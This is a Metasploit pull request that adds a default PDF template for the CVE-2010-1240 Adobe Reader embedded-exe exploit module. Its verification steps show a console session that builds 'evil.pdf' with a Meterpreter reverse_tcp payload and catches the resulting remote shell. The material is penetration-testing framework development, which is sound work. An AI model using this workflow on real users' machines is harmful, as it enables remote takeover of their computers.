rapid7/metasploit-framework — pull request #4140 by wchen-r7 (2014-11-05 23:17:38+00:00)
Title: Add a default template for CVE-2010-1240 PDF exploit

This is for https://github.com/rapid7/metasploit-framework/issues/4134

This is actually quite a common problem for people who want to use the adobe_pdf_embedded_exe.rb exploit: They supply a template, it's missing something in the "trailer" dictionary (maybe the size, root, or info), and then basically the module refuses to generate the exploit. So to solve this (which is like the second time for me already), instead of telling them to try a different template, I've decided to just ship a default one that works. If they want, they can also just modify the template.

## Verification

- [ ] Download Adobe PDF 9: http://download.oldapps.com/Adobe_Reader/AdbeRdr90_en_US.exe
- [ ] Install the Adobe Reader on a Windows box. Win XP or Win 7 should be fine. I've tested on those two.
- [ ] Follow the steps below:

```
$ ./msfconsole -q
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > run

[*] Reading in '/Users/wchen/rapid7/msf/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/Users/wchen/rapid7/msf/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[*] Parsing Successful. Creating 'evil.pdf' file...
[+] evil.pdf stored at /Users/wchen/.msf4/local/evil.pdf
msf exploit(adobe_pdf_embedded_exe) > back
msf > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.64:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.80:1304) at 2014-11-05 17:08:17 -0600

meterpreter >
```